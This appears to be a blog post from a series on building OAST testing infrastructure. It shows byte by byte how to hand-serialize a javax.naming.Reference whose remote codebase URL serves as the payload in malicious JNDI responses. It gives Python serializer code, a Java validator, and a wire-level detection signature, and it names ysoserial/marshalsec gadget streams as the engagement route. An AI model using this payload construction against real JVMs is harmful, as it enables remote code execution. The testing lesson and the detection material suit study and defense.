javax.naming.Reference, field by field Reference declares four serializable fields. The JVM doesn’t serialize them in declaration order — it uses a canonical order: primitives first, then objects, and each group sorted alphabetically. Reference has no primitive fields, so for us that just means four objects in alphabetical order:

addrs                 Vector       (the RefAddr list; must NOT be null)
classFactory          String       (the factory class name)
classFactoryLocation  String       (the codebase URL — the payload)
className              String       (the class to instantiate)

So the class descriptor is:

72                                  TC_CLASSDESC
00 16 "javax.naming.Reference"      class name (2-byte len + UTF-8)
E8 C6 9E A2 A8 E9 8D 09             serialVersionUID
02                                  flags = SC_SERIALIZABLE
00 04                               4 fields
  4C 00 05 "addrs"                 'L' obj field, name "addrs"
    74 00 12 "Ljava/util/Vector;"  field type signature
  4C 00 0C "classFactory"
    74 00 12 "Ljava/lang/String;"
  4C 00 14 "classFactoryLocation"
    74 00 12 "Ljava/lang/String;"
  4C 00 09 "className"
    74 00 12 "Ljava/lang/String;"
78 70                               TC_ENDBLOCKDATA, TC_NULL (no superclass)

Then come the field values, in that same order: the addrs Vector first, then three TC_STRINGs for factory, codebase, and className. Here it is in Python, emitting the raw bytes:

def serialize_reference(class_name, factory, codebase):
    cd  = bytes([TC_CLASSDESC]) + _utf("javax.naming.Reference") + _REFERENCE_SUID
    cd += bytes([SC_SERIALIZABLE]) + (4).to_bytes(2, "big")
    cd += _obj_field("addrs", "Ljava/util/Vector;")
    cd += _obj_field("classFactory", "Ljava/lang/String;")
    cd += _obj_field("classFactoryLocation", "Ljava/lang/String;")
    cd += _obj_field("className", "Ljava/lang/String;")
    cd += bytes([TC_ENDBLOCKDATA, TC_NULL])

    obj  = bytes([TC_OBJECT]) + cd
    obj += _empty_vector()          # addrs
    obj += _tc_string(factory)      # classFactory
    obj += _tc_string(codebase)     # classFactoryLocation
    obj += _tc_string(class_name)   # className
    return obj

Looks finished, right? It isn’t. There are two things wrong with the obvious version of this code, and neither one shows up until you feed the bytes to an actual JVM.

Bug #1: the serialVersionUID you can’t eyeball

serialVersionUID is a 64-bit fingerprint for the class. If the value in your stream doesn’t match the victim’s Reference class exactly, deserialization throws InvalidClassException and bails out before it ever looks at your payload. The good news is that Reference declares its UID explicitly in the JDK source, so it’s stable across JDK versions. You just have to get the number right.

My first version had a hex constant that looked right and was completely wrong:

e8 c6 9d 98 ...     WRONG (eyeballed)
e8 c6 9e a2 a8 e9 8d 09   correct  (= -1673475790065791735)

Two bytes off. And here’s the part that stung: my unit test compared the emitted bytes against that same constant, so of course it passed. The test could only ever catch me disagreeing with myself. It had no way to catch me disagreeing with the JVM, which is the only disagreement that matters. The fix is to encode from the signed long directly instead of a hand-copied hex string, so there’s one source of truth:

_REFERENCE_SUID = (-1673475790065791735).to_bytes(8, "big", signed=True)  # e8c69ea2a8e98d09

This is basically the whole reason I wanted to write this up: a test that checks your output against your own assumption isn’t a test. You need something to check against that doesn’t already share your bug.

Bug #2: dots vs. slashes (the one that really hurts)

Reference.addrs has to be a real Vector, not null, because NamingManager.getObjectInstance walks it and throws an NPE if it’s null. So I embed a serialized empty Vector whose elementData is an Object[0]. That Vector carries its own class descriptor, and inside it the element array carries yet another class descriptor of its own. This is where two strings that look identical are actually governed by two different rules:

# Vector.elementData FIELD type signature -> field-descriptor form, SLASHES:
cd += b"\x5b" + _utf("elementData") + _tc_string("[Ljava/lang/Object;")

# ...but the element ARRAY's OWN classdesc name -> Class.getName() form, DOTS:
arr_cd = bytes([TC_CLASSDESC]) + _utf("[Ljava.lang.Object;") + _OBJ_ARRAY_SUID

Same eleven characters, one slash-versus-dot difference, and two different correct answers depending on which one you’re writing:

– A field type signature (the declared type of a field) uses the JVM field-descriptor form: [Ljava/lang/Object;, with slashes.
– An array object’s class descriptor name is whatever Class.getName() returns, because on the read side the JVM calls Class.forName() on it. For array classes that comes out as [Ljava.lang.Object;, with dots.
Spell the array’s classdesc name with slashes and the JVM throws ClassNotFoundException looking for java.lang.Object written with slashes, which is a class that simply doesn’t exist in that form. And naturally my structural test emitted slashes in both spots, because both of them “looked like” the same type string to me. The only thing that caught it was deserializing in a real JVM.

One more while we’re in here: the third UID, the one for [Ljava.lang.Object;, isn’t a declared constant at all. It’s a computed array UID (90ce589f1073296c), and it was the round-trip that finally confirmed I had it right.

The oracle: 20 lines of Java

The fix for “my test shares my bug” is to deserialize the bytes in something that doesn’t share it. The whole validator is throwaway code:

// Check.java — deserialize our hand-emitted bytes in a real JVM and assert the fields.
import java.io.*;
import javax.naming.Reference;

public class Check {
    public static void main(String[] a) throws Exception {
        byte[] bytes = java.nio.file.Files.readAllBytes(java.nio.file.Path.of(a[0]));
        Object o = new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
        Reference r = (Reference) o;
        System.out.println("className=" + r.getClassName());
        System.out.println("factory=" + r.getFactoryClassName());
        System.out.println("codebase=" + r.getFactoryClassLocation());
        System.out.println("addrs=" + r.size());   // 0, and crucially not an NPE
    }
}

Dump your bytes to a file with the 4-byte AC ED 00 05 header prepended, then run it through a throwaway container:

docker run --rm -v "$PWD":/w -w /w eclipse-temurin:21 \
  sh -c "javac Check.java && java Check reference.ser"

If it prints your className, factory, and codebase with addrs=0 instead of a stack trace, the bytes are real. That one green run is what moved all three UIDs and the dots-versus-slashes fix from “I’m pretty sure” to “the JVM agrees with me.” I run it after every single change to the serializer, because the in-process structural test still can’t catch a wrong constant, and never will — that’s the whole point.

Detection signature

The upside of doing all this by hand is that now you know exactly what a malicious JNDI response looks like on the wire: a serialization stream starting with AC ED 00 05, a TC_CLASSDESC named javax.naming.Reference, and a classFactoryLocation string carrying an LDAP or HTTP URL you don’t control. That’s a signature you can match in a proxy, a WAF, or an egress monitor, and the false-positive rate is low because nobody legitimately ships a Reference with a remote codebase over an untrusted channel.

Notice that neither of my bugs was in reading the spec. Both were in checking my work. A test that compares your output to your own constant is theater — it feels like verification and verifies nothing. When you’re emitting a format that some other system has to consume, that other system is your only real oracle. “It serializes” and “a JVM will actually deserialize it” are two different claims, and only the second one is worth anything.

To be clear, this Reference path is the clean, educational version. In an actual engagement the workhorse is the raw-bytes route: take a complete serialized gadget stream from ysoserial or marshalsec, strip its 4-byte header, and embed the object body directly. That route is better precisely because it’s JVM-independent and you never have to hand-encode anyone’s serialVersionUID. But I don’t think you really understand what it’s doing until you’ve built the simple object by hand once and watched a JVM accept it.

This is part of a series I’m writing on building OAST infrastructure from scratch — authoritative DNS, multi-protocol callback listeners, a sandboxed Python runtime for the response logic. Next up is the DNS server you need to catch these callbacks in the first place.